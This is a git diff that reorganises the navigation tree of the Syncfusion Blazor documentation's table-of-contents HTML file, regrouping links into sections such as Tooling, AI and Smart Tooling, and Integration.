diff --git a/blazor-toc.html b/blazor-toc.html
index 5791541494..6a6b94f7c1 100644
--- a/blazor-toc.html
+++ b/blazor-toc.html
@@ -1,22 +1,12 @@
 <?xml version="1.0" encoding="utf-8"?>
 <ul class="treeview">  
-	<li>
-		<a href="/blazor/introduction">Introduction</a>
-	</li>
-	<li>
-        <a href="/cr/blazor">API Reference</a>
-    </li>
-
-	<li>
-		<a href="/blazor/system-requirements">System Requirements</a>
-	</li>
-	<li>
-		<a href="/blazor/browser-support">Browser Compatibility</a>
-	</li>
-	<li>
-		<a href="/blazor/nuget-packages">NuGet Packages</a>
+	<li>Introduction
+		<ul>
+			<li><a href="/blazor/introduction/overview">Overview</a></li>
+			<li><a href="/blazor/introduction/key-features">Key Features</a></li>
+			<li><a href="/blazor/introduction/supported-blazor-models">Supported Blazor Models</a></li>
+		</ul>
 	</li>
-
 	<li>Getting Started
 		<ul>
 		    <li>
@@ -26,7 +16,10 @@
 				<a href="/blazor/getting-started/blazor-server-side-visual-studio">Blazor Server App</a>
 			</li>
 			<li>
-				<a href="/blazor/getting-started/blazor-webassembly-app">Blazor WebAssembly Standalone App</a>
+				<a href="/blazor/getting-started/blazor-webassembly-app">Blazor WebAssembly App</a>
+			</li>
+			<li>
+				<a href="/blazor/common/showcase-samples">Showcase Samples</a>
 			</li>
 			<!-- <li> -->
 				<!-- <a href="/blazor/getting-started/blazor-web-app-dotnet-cli">Blazor Web App in .NET CLI</a> -->
@@ -52,417 +45,74 @@
 			<!-- <li> -->
 				<!-- <a href="/blazor/getting-started/blazor-core-hosted-cli">Blazor ASP.NET Core Hosted App using .NET CLI</a> -->
 			<!-- </li> -->
-			<li>
-				<a href="/blazor/getting-started/microsoft-teams-app">Microsoft Teams App</a>
-			</li>
-			<li>
-				<a href="/blazor/getting-started/blazor-electron-app">Blazor Electron App</a>
-			</li>
-			<li>
-				<a href="/blazor/getting-started/blazor-web-app-authentication">Blazor Web App with Authentication</a>
-			</li>
-			<li>
-				<a href="/blazor/getting-started/blazor-webassembly-authentication">Blazor Standalone WebAssembly App with Authentication Library</a>
-			</li>
-			<li>
-				<a href="/blazor/getting-started/razor-class-library">Razor Class Library in Visual Studio</a>
-			</li>
-			<li>
-				UI Kit
-				<ul>
-					<li><a href="/blazor/ui-kit/overview">Overview</a></li>
-					<li><a href="/blazor/ui-kit/getting-started">Getting Started</a></li>
-					<li><a href="/blazor/ui-kit/build-your-first-blazor-app-with-blocks">Build your first Blazor app with our blocks</a></li>
-				</ul>
-			</li>
-			<li>Tutorials
-				<ul>
-					<li>
-						<a href="/blazor/tutorials/build-a-blazor-stay-reservation-app">Build a Blazor Stay Reservation App</a>
-					</li>
-				</ul>
-			</li>
-			<li>Using Syncfusion.Blazor NuGet
-				<ul>
-					<li><a href="/blazor/getting-started/blazor-web-app-single-nuget">Blazor Web App</a></li>
-					<li><a href="/blazor/getting-started/blazor-single-nuget">Blazor Server and WASM App</a></li>
-				</ul>
-			</li>
 		</ul>
 	</li>
 	<li>Blazor Hybrid
 		<ul>
 			<li><a href="/blazor/getting-started/maui-blazor-app">.NET MAUI</a></li>
-			<li><a href="/blazor/getting-started/maui-blazor-web-app">.NET MAUI with Blazor Web App</a></li>
-			<li><a href="/blazor/getting-started/wpf-blazor-app">WPF Blazor App</a></li>
-			<li><a href="/blazor/getting-started/winforms-blazor-app">WinForms Blazor App</a></li>
+			<li><a href="/blazor/getting-started/wpf-blazor-app">WPF</a></li>
+			<li><a href="/blazor/getting-started/winforms-blazor-app">WinForms</a></li>
 		</ul>
 	</li>
-	<li>Visual Studio Code Integration
+	<li>UI Kit
 		<ul>
-			<li>
-				<a href="/blazor/visual-studio-code-integration/overview">Overview</a>
-			</li>
-			<li>
-				<a href="/blazor/visual-studio-code-integration/download-and-installation">Download and Installation</a>
-			</li>
-			<li>
-				<a href="/blazor/visual-studio-code-integration/create-project">Create Project</a>
-			</li>
-			<li>
-				<a href="/blazor/visual-studio-code-integration/code-snippet">Code Snippet</a>
-			</li>
-			<li>
-				<a href="/blazor/visual-studio-code-integration/convert-project">Convert Project</a>
-			</li>
-			<li>
-				<a href="/blazor/visual-studio-code-integration/upgrade-project">Upgrade Project</a>
-			</li>
-			<li>
-				<a href="/blazor/visual-studio-code-integration/scaffolding">Scaffolding</a>
-			</li>
-		</ul>
-	</li>
-	<li>Visual Studio Integration
-		<ul>
-			<li>
-				<a href="/blazor/visual-studio-integration/overview">Overview</a>
-			</li>
-			<li>
-				<a href="/blazor/visual-studio-integration/download-and-installation">Download and Installation</a>
-			</li>
-			<li>
-				<a href="/blazor/visual-studio-integration/template-studio">Template Studio</a>
-			</li>
-			<li>
-				<a href="/blazor/visual-studio-integration/code-generator">Code Generator</a>
-			</li>
-			<li>
-				<a href="/blazor/visual-studio-integration/convert-project">Convert Project</a>
-			</li>
-			<li>
-				<a href="/blazor/visual-studio-integration/upgrade-project">Upgrade Project</a>
-			</li>
-			<li>
-				<a href="/blazor/visual-studio-integration/scaffolding">Scaffolding</a>
-			</li>
-			<li>
-				<a href="/blazor/visual-studio-integration/Syncfusion-Notifications">Notifications</a>
-			</li>
+			<li><a href="/blazor/ui-kit/overview">Overview</a></li>
+			<li><a href="/blazor/ui-kit/getting-started">Getting Started</a></li>
+			<li><a href="/blazor/ui-kit/build-your-first-blazor-app-with-blocks">Build Your First Blazor App with Blocks</a></li>
 		</ul>
 	</li>
-	<li>AI Coding Assistant
-		<ul>
-			<li><a href="/blazor/ai-coding-assistant/overview">Overview</a></li>
-			<li><a href="/blazor/ai-coding-assistant/mcp-server">MCP Server</a></li>
-			<li><a href="/blazor/ai-coding-assistant/prompt-library">Prompt Library</a></li>
-		</ul> 
-	</li>
-	<li>Smart (AI) Solutions
+	<li>Tooling
 		<ul>
-			<li>AI Base
-				<ul>
-					<li><a href="/blazor/smart-ai-solutions/ai/overview">Overview</a></li>
-					<li><a href="/blazor/smart-ai-solutions/ai/openAI">OpenAI Integration</a></li>
-					<li><a href="/blazor/smart-ai-solutions/ai/azure-openai">AzureOpenAI Integration</a></li>
-					<li><a href="/blazor/smart-ai-solutions/ai/ollama">Ollama Local Models Integration</a></li>
-					<li><a href="/blazor/smart-ai-solutions/ai/custom-ai-service">Custom AI Providers</a></li>
-				</ul>
-			</li>
-			<li>Gantt Chart
+			<li>Visual Studio Integration
 				<ul>
-					<li><a href="/blazor/smart-ai-solutions/ai-samples/gantt-chart/resource-allocation">Resource Allocation</a></li>
-				</ul>
-			</li>
-			<li>Tree Grid
-				<ul>
-					<li><a href="/blazor/smart-ai-solutions/ai-samples/treegrid/adaptive-structuring">Adaptive Structuring</a></li>
-				</ul>
-			</li>
-			<li> Rich Text Editor
-				<ul>
-					<li><a href="/blazor/smart-ai-solutions/ai-samples/rich-text-editor/writting-assistance">Writting Assistance</a></li>
-				</ul>
-			</li>
-			<li> Kanban
-				<ul>
-					<li><a href="/blazor/smart-ai-solutions/ai-samples/kanban/smart-task-suggestion">Smart Task Suggestion</a></li>
-					<li><a href="/blazor/smart-ai-solutions/ai-samples/kanban/sentiment-analysis">Sentiment Analysis</a></li>
-				</ul>	
-			</li>	
-			<li>Pivot Table
-				<ul>
-					<li><a href="/blazor/smart-ai-solutions/ai-samples/pivot-table/smart-pivot">Smart Pivot Table</a></li>
-				</ul>
-			</li>
-			<li>ComboBox
-				<ul>
-					<li><a href="/blazor/smart-ai-solutions/ai-samples/combobox/semantic-searching">Semantic Searching with Embeddings</a></li>
-				</ul>
-			</li>
-			<li>Query Builder
-				<ul>
-					<li><a href="/blazor/smart-ai-solutions/ai-samples/query-builder/query-processing">Natural Language Query</a></li>
-				</ul>
-			</li>
-			<li>Diagram
-				<ul>
-					<li><a href="/blazor/smart-ai-solutions/ai-samples/diagram/ai-powered-diagram-generation">AI-Powered Diagram Generation</a></li>
-				</ul>
-			</li>
-		</ul>
-	</li>
-	<li>Installation<ul>
-	    <li>Web Installer
-	    <ul>
-			<li>
-				<a href="/blazor/installation/web-installer/how-to-download">How to Download?</a>
-			</li>
-			<li>
-				<a href="/blazor/installation/web-installer/how-to-install">How to Install?</a>
-			</li>
-		</ul>
-
-	    </li>
-	    <li>Offline Installer
-	    <ul>
-			<li>
-				<a href="/blazor/installation/offline-installer/how-to-download">How to Download?</a>
-			</li>
-			<li>
-				<a href="/blazor/installation/offline-installer/how-to-install">How to Install?</a>
-			</li>
-	    </ul>
-	    </li>
-	    <li>Mac Installer
-	    <ul>
-			<li>
-				<a href="/blazor/installation/mac-installer/how-to-download">How to Download?</a>
-			</li>
-			<li>
-				<a href="/blazor/installation/mac-installer/how-to-install">How to Install?</a>
-			</li>
-	    </ul>
-	    </li>
-	    <li>Linux Installer
-	    <ul>
-			<li>
-				<a href="/blazor/installation/linux-installer/how-to-download">How to Download?</a>
-			</li>
-			<li>
-				<a href="/blazor/installation/linux-installer/how-to-install">How to Install?</a>
-			</li>
-	    </ul>
-	    </li>
-
-			<li>
-				<a href="/blazor/installation/install-nuget-packages">Install through NuGet Packages</a>
-			</li>
-			<li>
-				<a href="/blazor/installation/common-installation-errors">Common Installation Errors</a>
-			</li>
-		</ul>
-	</li>
-	<li>License
-		<ul>
-			<li>
-				<a href="/blazor/getting-started/license-key/overview">Overview</a>
-			</li>
-			<li>
-				<a href="/blazor/getting-started/license-key/how-to-generate">Generate Blazor License Key</a>
-			</li>
-			<li>
-				<a href="/blazor/getting-started/license-key/how-to-register-in-an-application">Register License Key in Blazor Application</a>
-			</li>
-			<li>
-				<a href="/blazor/getting-started/license-key/how-to-register-in-a-razor-class-library">Register License Key in a Razor Class Library Application</a>
-			</li>
-			<li>
-				<a href="/blazor/getting-started/license-key/how-to-register-syncfusion-license-securely-in-blazor-wasm-app">How to Register Syncfusion License Key Securely in Blazor WASM App?</a>
-			</li>
-			<li>
-				<a href="/blazor/getting-started/license-key/CI-license-validation">How to Validate Syncfusion License Key In CI Services?</a>
-			</li>
-			<li>
-				<a href="/blazor/getting-started/license-key/licensing-errors">Licensing Errors</a>
-			</li>
-			<li>
-				<a href="/blazor/getting-started/license-key/licensing-faq">Licensing FAQ</a>
-			</li>
-		</ul>
-	</li>
-	<li>Upgrade
-	    <ul>
-			<li>
-				<a href="/blazor/upgrade/release-history">Release History</a>
-			</li>
-			<li>
-				<a href="/blazor/common/how-to/version-compatibility">Version Compatibility</a>
-			</li>
-			<li>
-				<a href="/blazor/upgrade/how-to-upgrade">How to Upgrade Syncfusion Blazor Installer to Latest Version?</a>
-			</li>
-			<li>
-				<a href="/blazor/upgrade/upgrade-syncfusion-blazor-nuget-packages">How to Upgrade Syncfusion Blazor NuGet Packages to Latest Version?</a>
-			</li>
-			<li>
-				<a href="/blazor/upgrade/how-to-upgrade-syncfusion-components-using-vs-extensions">How to Upgrade Syncfusion Blazor Components using VS Extensions?</a>
-			</li>
-		</ul>
-
-	</li>
-	<li>Appearance
-		<ul>
-			<li>
-				<a href="/blazor/appearance/themes">Built-in Themes</a>
-			</li>
-			<li>
-				<a href="/blazor/appearance/size-modes">Size Modes</a>
-			</li>
-			<li>
-				<a href="/blazor/appearance/theme-studio">Theme Studio</a>
-			</li>
-			<li>
-				<a href="/blazor/appearance/icons">Icons</a>
-			</li>
-			<li>
-				<a href="/blazor/appearance/figma">Figma UI Kits</a>
-			</li>
-		</ul>
-	</li>
-	<li>Common Features
-		<ul>
-			<li>
-				<a href="/blazor/common/how-to/version-compatibility">Version Compatibility</a>
-			</li>
-			<li>
-				<a href="/blazor/common/adding-script-references">Adding Script References</a>
-			</li>
-			<li>
-				<a href="/blazor/common/custom-resource-generator">Custom Resource Generator(CRG)</a>
-			</li>
-			<li>
-				<a href="/blazor/common/interactive-render-mode">Interactive Render Mode</a>
-			</li>
-			<li>Data Binding
-				<ul>
-					<li>
-						<a href="/blazor/common/data-binding/data-updates">Observable Collection and INotifyPropertyChanged</a>
-					</li>
-					<li>
-						<a href="/blazor/common/data-binding/two-way-binding">Two-Way Binding</a>
-					</li>
 					<li>
-						<a href="/blazor/common/data-binding/restful-service-binding">Bind data from RESTful web services</a>
+						<a href="/blazor/visual-studio-integration/overview">Overview</a>
 					</li>
 					<li>
-						<a href="/blazor/common/data-binding/webapi-service-binding">Bind data using WebApiAdaptor of DataManager</a>
+						<a href="/blazor/visual-studio-integration/download-and-installation">Download and Installation</a>
 					</li>
 					<li>
-						<a href="/blazor/common/data-binding/sql-server-data-binding">Bind data using SQL Server</a>
-					</li>
-					<li>
-						<a href="/blazor/common/data-binding/bind-entity-framework">Bind data from SQL Server using EntityFramework Core</a>
-					</li>
-					<li><a href="/blazor/common/data-binding/dapper-databinding">Bind data using Dapper</a></li>
-					<li>
-						<a href="/blazor/common/data-binding/grpc-data-binding">Bind data using gRPC service</a>
-					</li>
-				</ul>
-			</li>
-			<li>
-				<a href="/blazor/common/accessibility">Accessibility</a>
-			</li>
-			<li>
-				<a href="/blazor/common/localization">Localization</a>
-			</li>
-			<li>
-				<a href="/blazor/common/globalization">Globalization</a>
-			</li>
-			<li>
-				<a href="/blazor/common/right-to-left">Right-To-Left</a>
-			</li>
-			<li>
-				<a href="/blazor/common/state-persistance">State Persistence</a>
-			</li>
-			<li>AOT Compilation
-				<ul>
-					<li>
-                       <a href="/blazor/common/aot-compilation/optimize-performance-blazor-wasm">Optimize Blazor WASM Performance</a>
+						<a href="/blazor/visual-studio-integration/template-studio">Template Studio</a>
 					</li>
 					<li>
-                        <a href="/blazor/common/aot-compilation/reduce-size-of-blazor-wasm">Reduce Size of WASM</a>
+						<a href="/blazor/visual-studio-integration/code-generator">Code Generator</a>
 					</li>
-				</ul>
-			</li>
-			<li>
-				<a href="/blazor/common/animation">Animation</a>
-			</li>
-			<li>
-				<a href="/blazor/common/input-validation">Input Form Validation</a>
-			</li>
-			<li>
-				<a href="/blazor/common/html-attributes">HTML Attributes</a>
-			</li>
-			<li>Deployment
-				<ul>
 					<li>
-						<a href="/blazor/common/deployment/publish">Publish Blazor Application</a>
+						<a href="/blazor/visual-studio-integration/convert-project">Convert Project</a>
 					</li>
 					<li>
-						<a href="/blazor/common/deployment/deployment-iis">Deploy a Blazor Web App to IIS</a>
+						<a href="/blazor/visual-studio-integration/upgrade-project">Upgrade Project</a>
 					</li>
 					<li>
-						<a href="/blazor/common/deployment/deployment-azure">Deploy a Blazor Web App to Azure App Service</a>
+						<a href="/blazor/visual-studio-integration/scaffolding">Scaffolding</a>
 					</li>
 					<li>
-						<a href="/blazor/common/deployment/deployment-linux-nginx">Deploy a Blazor Web App to Linux with NGINX</a>
+						<a href="/blazor/visual-studio-integration/Syncfusion-Notifications">Notifications</a>
 					</li>
 				</ul>
 			</li>
-			<li>
-				<a href="/blazor/common/cdn-fallback">CDN Fallback</a>
-			</li>
-			<li>
-				<a href="/blazor/common/content-security-policy">Content Security Policy</a>
-			</li>
-			<li>
-				<a href="/blazor/common/best-practices">Best Practices</a>
-			</li>
-			<li>
-				<a href="/blazor/common/showcase-samples">Blazor Showcase Samples</a>
-			</li>
-			<li>How To
+			<li>Visual Studio Code Integration
 				<ul>
-	    			<li>
-			        	<a href="/blazor/common/extend-and-customize-components">Extend and Customize the Syncfusion Components</a>
-		        	</li>
-					<li>
-			        	<a href="/blazor/common/how-to/add-blazor-component-to-the-toolbox">Add Blazor Component to the toolbox</a>
-		        	</li>
 					<li>
-						<a href="/blazor/common/how-to/add-blazor-component-on-existing-aspnet-core-mvc-app">Add Blazor Components on Existing ASP.NET Core MVC Application</a>
+						<a href="/blazor/visual-studio-code-integration/overview">Overview</a>
 					</li>
 					<li>
-						<a href="/blazor/common/how-to/render-blazor-server-app-in-ie">Render the Blazor Server App in IE11 Browser</a>
+						<a href="/blazor/visual-studio-code-integration/download-and-installation">Download and Installation</a>
 					</li>
 					<li>
-						<a href="/blazor/common/how-to/upgrade-syncfusion-components-to-latest-version">Upgrade Syncfusion Components to Latest Version</a>
-					</li>
-					<li>
-						<a href="/blazor/common/how-to/create-blazor-webassembly-prerendering">Blazor WebAssembly Prerendering</a>
+						<a href="/blazor/visual-studio-code-integration/create-project">Create Project</a>
 					</li>
 					<li>
-						<a href="/blazor/common/how-to/configure-blazor-component-in-bunit-testing">BUnit Testing</a>
+						<a href="/blazor/visual-studio-code-integration/code-snippet">Code Snippet</a>
 					</li>
 					<li>
-						<a href="/blazor/common/how-to/use-blazor-report-viewer">Syncfusion ReportViewer in Blazor application</a>
+						<a href="/blazor/visual-studio-code-integration/convert-project">Convert Project</a>
 					</li>
 					<li>
-						<a href="/blazor/common/how-to/port-blazor-server-maui">Port Syncfusion Blazor Web App to MAUI Blazor Hybrid App</a>
+						<a href="/blazor/visual-studio-code-integration/upgrade-project">Upgrade Project</a>
 					</li>
 					<li>
-						<a href="/blazor/common/how-to/troubleshoot">Troubleshoot</a>
+						<a href="/blazor/visual-studio-code-integration/scaffolding">Scaffolding</a>
 					</li>
 				</ul>
 			</li>
@@ -487,92 +137,246 @@
 						<a href="/blazor/common/playground/configure-services">Configure Service</a>
 					</li>
 				</ul>
-
 			</li>
 		</ul>
 	</li>
-	<li>Smart Components
+	<li>AI and Smart Tooling
 		<ul>
-			<li>Smart Paste Button
+			<li>MCP Server
 				<ul>
-					<li>Getting Started
+					<li><a href="/blazor/mcp-server/overview">Overview</a></li>
+					<li><a href="/blazor/mcp-server/installation">Installation</a></li>
+					<li>Agentic UI Builder
 						<ul>
-							<li> <a href="/blazor/smart-paste/getting-started-webapp">Blazor Web App</a></li>
+							<li><a href="/blazor/mcp-server/agentic-ui-builder/getting-started">Getting Started</a></li>
+							<li><a href="/blazor/mcp-server/agentic-ui-builder/prompt-library">Prompt Library</a></li>
 						</ul>
 					</li>
-					<li><a href="/blazor/smart-paste/annotation">Annotation</a></li>
-					<li><a href="/blazor/smart-paste/customization">Style and Appearance</a></li>
-					<li><a href="/blazor/smart-paste/custom-inference-backend">Custom AI Service</a></li>
-					<li>AI Services
+					<li>AI Coding Assistant
 						<ul>
-							<li> <a href="/blazor/smart-paste/claude-service">Claude AI Service</a></li>
-							<li> <a href="/blazor/smart-paste/gemini-service">Gemini AI Service</a></li>
-							<li> <a href="/blazor/smart-paste/deepseek-service">Deepseek AI Service</a></li>
-							<li> <a href="/blazor/smart-paste/groq-service">Groq AI Service</a></li>
+							<li><a href="/blazor/mcp-server/ai-coding-assistant/getting-started">Getting Started</a></li>
+							<li><a href="/blazor/mcp-server/ai-coding-assistant/prompt-library">Prompt Library</a></li>
 						</ul>
 					</li>
+					<li><a href="/blazor/mcp-server/release-notes">Release Notes</a></li>
 				</ul>
 			</li>
-			<li>Smart TextArea
+			<li>Smart Components
 				<ul>
-					<li>Getting Started
+					<li>Smart Paste Button
 						<ul>
-							<li> <a href="/blazor/smart-textarea/getting-started-webapp">Blazor Web App</a></li>
+							<li>Getting Started
+								<ul>
+									<li> <a href="/blazor/smart-paste/getting-started-webapp">Blazor Web App</a></li>
+								</ul>
+							</li>
+							<li><a href="/blazor/smart-paste/annotation">Annotation</a></li>
+							<li><a href="/blazor/smart-paste/customization">Style and Appearance</a></li>
+							<li><a href="/blazor/smart-paste/custom-inference-backend">Custom AI Service</a></li>
+							<li>AI Services
+								<ul>
+									<li> <a href="/blazor/smart-paste/claude-service">Claude AI Service</a></li>
+									<li> <a href="/blazor/smart-paste/gemini-service">Gemini AI Service</a></li>
+									<li> <a href="/blazor/smart-paste/deepseek-service">Deepseek AI Service</a></li>
+									<li> <a href="/blazor/smart-paste/groq-service">Groq AI Service</a></li>
+								</ul>
+							</li>
 						</ul>
 					</li>
-					<li><a href="/blazor/smart-textarea/customization">Customize Suggestions</a></li>
-					<li><a href="/blazor/smart-textarea/features">Inherited Features</a></li>
-					<li><a href="/blazor/smart-textarea/custom-inference-backend">Custom AI Service</a></li>
-					<li>AI Services
+					<li>Smart TextArea
 						<ul>
-							<li> <a href="/blazor/smart-textarea/claude-service">Claude AI Service</a></li>
-							<li> <a href="/blazor/smart-textarea/gemini-service">Gemini AI Service</a></li>
-							<li> <a href="/blazor/smart-textarea/deepseek-service">Deepseek AI Service</a></li>
-							<li> <a href="/blazor/smart-textarea/groq-service">Groq AI Service</a></li>
+							<li>Getting Started
+								<ul>
+									<li> <a href="/blazor/smart-textarea/getting-started-webapp">Blazor Web App</a></li>
+								</ul>
+							</li>
+							<li><a href="/blazor/smart-textarea/customization">Customize Suggestions</a></li>
+							<li><a href="/blazor/smart-textarea/features">Inherited Features</a></li>
+							<li><a href="/blazor/smart-textarea/custom-inference-backend">Custom AI Service</a></li>
+							<li>AI Services
+								<ul>
+									<li> <a href="/blazor/smart-textarea/claude-service">Claude AI Service</a></li>
+									<li> <a href="/blazor/smart-textarea/gemini-service">Gemini AI Service</a></li>
+									<li> <a href="/blazor/smart-textarea/deepseek-service">Deepseek AI Service</a></li>
+									<li> <a href="/blazor/smart-textarea/groq-service">Groq AI Service</a></li>
+								</ul>
+							</li>
+						</ul>
+					</li>
+					<li>AI AssistView
+						<ul>
+							<li>Getting Started
+								<ul>
+									<li> <a href="/blazor/ai-assistview/getting-started-webapp">Blazor Web App</a></li>
+									<li> <a href="/blazor/ai-assistview/getting-started">Blazor WASM App</a></li>
+								</ul>
+							</li>
+							<li><a href="/blazor/ai-assistview/assist-view">Assist view</a></li>
+							<li>AI Integrations
+								<ul>
+									<li><a href="/blazor/ai-assistview/ai-integrations/gemini-integration">Google Gemini</a></li>
+									<li><a href="/blazor/ai-assistview/ai-integrations/openai-integration">Azure OpenAI</a></li>
+									<li><a href="/blazor/ai-assistview/ai-integrations/ollama-llm-integration">Ollama LLM</a></li>
+									<li><a href="/blazor/ai-assistview/ai-integrations/lite-llm-integration">Lite LLM</a></li>
+								</ul>
+							</li>
+							<li><a href="/blazor/ai-assistview/toolbar-items">Toolbar items</a></li>
+							<li><a href="/blazor/ai-assistview/custom-view">Custom views</a></li>
+							<li><a href="/blazor/ai-assistview/file-attachments">File attachments</a></li>
+							<li><a href="/blazor/ai-assistview/templates">Templates</a></li>
+							<li>Speech
+								<ul>
+									<li><a href="/blazor/ai-assistview/speech/speech-to-text">Speech to Text</a></li>
+									<li><a href="/blazor/ai-assistview/speech/text-to-speech">Text to Speech</a></li>
+								</ul>
+							</li>
+							<li><a href="/blazor/ai-assistview/appearance">Appearance</a></li>
+							<li><a href="/blazor/ai-assistview/accessibility">Accessibility</a></li>
+							<li><a href="/blazor/ai-assistview/methods">Methods</a></li>
+							<li><a href="/blazor/ai-assistview/events">Events</a></li>
+							<li>How To
+								<ul>
+									<li>
+										<a href="/blazor/ai-assistview/how-to/integration-with-ai">Integration with Microsoft.Extensions.AI</a>
+									</li>
+								</ul>
+							</li>
+							<li>
+								<a href="/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfAIAssistView.html"> API Reference</a>
+							</li>
 						</ul>
 					</li>
 				</ul>
 			</li>
-			<li>AI AssistView
+			<li>AI Integration
+				<ul>
+					<li><a href="/blazor/smart-ai-solutions/ai/overview">Overview</a></li>
+					<li><a href="/blazor/smart-ai-solutions/ai/openAI">OpenAI Integration</a></li>
+					<li><a href="/blazor/smart-ai-solutions/ai/azure-openai">AzureOpenAI Integration</a></li>
+					<li><a href="/blazor/smart-ai-solutions/ai/ollama">Ollama Local Models Integration</a></li>
+					<li><a href="/blazor/smart-ai-solutions/ai/custom-ai-service">Custom AI Providers</a></li>
+				</ul>
+			</li>
+			<li>AI-Powered Solutions
+				<ul>
+					<li>
+						<a href="/blazor/smart-ai-solutions/ai-samples/gantt-chart/resource-allocation">Gantt Chart</a>
+					</li>
+					<li>
+						<a href="/blazor/smart-ai-solutions/ai-samples/treegrid/adaptive-structuring">Tree Grid</a>
+					</li>
+					<li>
+						<a href="/blazor/smart-ai-solutions/ai-samples/rich-text-editor/writting-assistance">Rich Text Editor</a>
+					</li>
+					<li>
+						<a href="/blazor/smart-ai-solutions/ai-samples/pivot-table/smart-pivot">Pivot Table</a>
+					</li>
+					<li>
+						<a href="/blazor/smart-ai-solutions/ai-samples/combobox/semantic-searching">ComboBox</a>
+					</li>
+					<li>
+						<a href="/blazor/smart-ai-solutions/ai-samples/query-builder/query-processing">Query Builder</a>
+					</li>
+					<li>
+						<a href="/blazor/smart-ai-solutions/ai-samples/diagram/ai-powered-diagram-generation">Diagram</a>
+					</li>
+					<li> Kanban
+						<ul>
+							<li><a href="/blazor/smart-ai-solutions/ai-samples/kanban/smart-task-suggestion">Smart Task Suggestion</a></li>
+							<li><a href="/blazor/smart-ai-solutions/ai-samples/kanban/sentiment-analysis">Sentiment Analysis</a></li>
+						</ul>	
+					</li>
+				</ul>
+			</li>
+		</ul>
+	</li>
+<li>Integration
+		<ul>
+			<li>Authentication and Authorization
+				<ul>
+					<li>
+						<a href="/blazor/getting-started/blazor-web-app-authentication">Blazor Web App with Authentication</a>
+					</li>
+					<li>
+						<a href="/blazor/getting-started/blazor-webassembly-authentication">Blazor Standalone WebAssembly App with Authentication Library</a>
+					</li>
+				</ul>
+			</li>
+			<li>Integration with Other Syncfusion Products
+				<ul>
+					<li>
+						<a href="/blazor/common/integration/blazor-datagrid-boldreports">DataGrid with Bold Report Viewer</a>
+					</li>
+					<li>
+						<a href="/blazor/common/integration/blazor-with-pdf-viewer">DataGrid with PDF Viewer</a>
+					</li>
+					<li>
+						<a href="/blazor/common/integration/blazor-grid-with-spreadsheet">DataGrid with Spreadsheet</a>
+					</li>
+          <li>
+          	<a href="/blazor/common/integration/blazor-with-document-editor">DataGrid with Document Editor</a>
+				  </li>
+        </ul>
+			</li>
+			<li>Cross Framework
+				<ul>	
+					<li>
+						<a href="/blazor/common/integration/blazor-angular-integration">Blazor with Angular</a>
+					</li>
+					<li>
+						<a href="/blazor/common/integration/angular-blazor-integration">Angular with Blazor</a>
+					</li>
+					<li>
+						<a href="/blazor/getting-started/maui-blazor-web-app">Blazor with .NET MAUI App</a>
+					</li>
+					<li>
+						<a href="/blazor/getting-started/microsoft-teams-app">Microsoft Teams App</a>
+					</li>
+					<li>
+						<a href="/blazor/getting-started/blazor-electron-app">Blazor Electron App</a>
+					</li>
+					<li>
+						<a href="/blazor/getting-started/razor-class-library">Razor Class Library</a>
+					</li>
+				</ul>
+			</li>
+			<li>Data Access Patterns
 				<ul>
-					<li>Getting Started
-						<ul>
-							<li> <a href="/blazor/ai-assistview/getting-started-webapp">Blazor Web App</a></li>
-							<li> <a href="/blazor/ai-assistview/getting-started">Blazor WASM App</a></li>
-						</ul>
+					<li>
+						<a href="/blazor/datagrid/connecting-to-ORM/entityframework">Blazor with Entity Framework Core</a>
 					</li>
-					<li><a href="/blazor/ai-assistview/assist-view">Assist view</a></li>
-					<li>AI Integrations
-						<ul>
-							<li><a href="/blazor/ai-assistview/ai-integrations/gemini-integration">Google Gemini</a></li>
-							<li><a href="/blazor/ai-assistview/ai-integrations/openai-integration">Azure OpenAI</a></li>
-							<li><a href="/blazor/ai-assistview/ai-integrations/ollama-llm-integration">Ollama LLM</a></li>
-							<li><a href="/blazor/ai-assistview/ai-integrations/lite-llm-integration">Lite LLM</a></li>
-						</ul>
+					<li>
+						<a href="/blazor/datagrid/connecting-to-ORM/dapper">Blazor with Dapper</a>
 					</li>
-					<li><a href="/blazor/ai-assistview/toolbar-items">Toolbar items</a></li>
-					<li><a href="/blazor/ai-assistview/custom-view">Custom views</a></li>
-					<li><a href="/blazor/ai-assistview/file-attachments">File attachments</a></li>
-					<li><a href="/blazor/ai-assistview/templates">Templates</a></li>
-					<li>Speech
-						<ul>
-							<li><a href="/blazor/ai-assistview/speech/speech-to-text">Speech to Text</a></li>
-							<li><a href="/blazor/ai-assistview/speech/text-to-speech">Text to Speech</a></li>
-						</ul>
+					<li>
+						<a href="/blazor/datagrid/connecting-to-database/microsoft-sql-server">Blazor with Microsoft SQL Server</a>
 					</li>
-					<li><a href="/blazor/ai-assistview/appearance">Appearance</a></li>
-					<li><a href="/blazor/ai-assistview/accessibility">Accessibility</a></li>
-					<li><a href="/blazor/ai-assistview/methods">Methods</a></li>
-					<li><a href="/blazor/ai-assistview/events">Events</a></li>
-					<li>How To
-						<ul>
-							<li>
-								<a href="/blazor/ai-assistview/how-to/integration-with-ai">Integration with Microsoft.Extensions.AI</a>
-							</li>
-						</ul>
+					<li>
+						<a href="/blazor/datagrid/connecting-to-database/mysql-server">Blazor with MySQL</a>
+					</li>
+					<li>
+						<a href="/blazor/datagrid/connecting-to-database/postgresql-server">Blazor with PostgreSQL</a>
 					</li>
 					<li>
-						<a href="/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfAIAssistView.html"> API Reference</a>
+						<a href="/blazor/datagrid/connecting-to-database/sqlite-server">Blazor with SQLite</a>
+					</li>
+					<li>
+						<a href="/blazor/datagrid/connecting-to-database/mongodb-server">Blazor with MongoDB</a>
+					</li>
+					<li>
+						<a href="/blazor/datagrid/connecting-to-database/firebase-firestore">Blazor with Firebase (Firestore)</a>
+					</li>
+					<li>
+						<a href="/blazor/datagrid/connecting-to-database/firebase-realtime">Blazor with Firebase (Realtime)</a>
+					</li>
+					<li>
+						<a href="/blazor/datagrid/connecting-to-adaptors/graphql-adaptor">Blazor with GraphQL Adaptor</a>
+					</li>
+					<li>
+						<a href="/blazor/datagrid/connecting-to-backends/signalr">Blazor with SignalR</a>
+					</li>
+					<li>
+						<a href="/blazor/datagrid/connecting-to-backends/elasticsearch">Blazor with Elasticsearch</a>
 					</li>
 				</ul>
 			</li>
@@ -1024,6 +828,7 @@
 			<li><a href="/blazor/block-editor/globalization">Globalization</a></li>
 			<li><a href="/blazor/block-editor/keyboard-shortcuts">Keyboard Shortcuts</a></li>
 			<li><a href="/blazor/block-editor/appearance">Appearance</a></li>
+			<li><a href="/blazor/block-editor/accessibility">Accessibility</a></li>
